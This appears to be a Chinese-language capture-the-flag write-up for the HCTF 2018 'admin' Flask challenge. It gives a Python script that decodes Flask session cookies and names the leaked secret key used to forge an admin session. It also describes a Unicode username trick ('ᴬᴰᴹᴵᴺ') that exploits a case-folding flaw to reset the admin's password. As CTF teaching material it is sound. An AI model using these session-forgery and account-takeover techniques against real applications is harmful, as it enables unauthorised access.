## [HCTF 2018]admin
一开始发现两个页面 登录页面和注册页面,页面源码说的意思应该是需要admin登录:
在修改密码处可以看到hint:
- https://github.com/woadsl1234/hctf_flask/
- 代码审计
### 方法一
我们进入这个github,把文件下载下来,发现是flask模板。
因为flask的session是在客户端的,因此可以尝试进行伪造。
- 密钥是
ckj123
。因此可以进行伪造
解密脚本如下:
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
把name改成admin,再进行加密。加密的脚本如下:
https://github.com/noraj/flask-session-cookie-manager
再利用伪造的session,登录admin账号获取flag
方法二
-
name = strlower(session['name'])
:这里调用了strlower
-
这个nodeprep.prepare存在漏洞。我们还会发现,login的时候又strlower一次。这个本来是转小写的,但是如果我们注册的用户名是这个:
ᴬᴰᴹᴵᴺ
login的时候会经过一次strlower会编程ADMIN,在change password的时候会变成admin。因此可以更改admin的密码,从而完成登录。
GET Flag ! ! !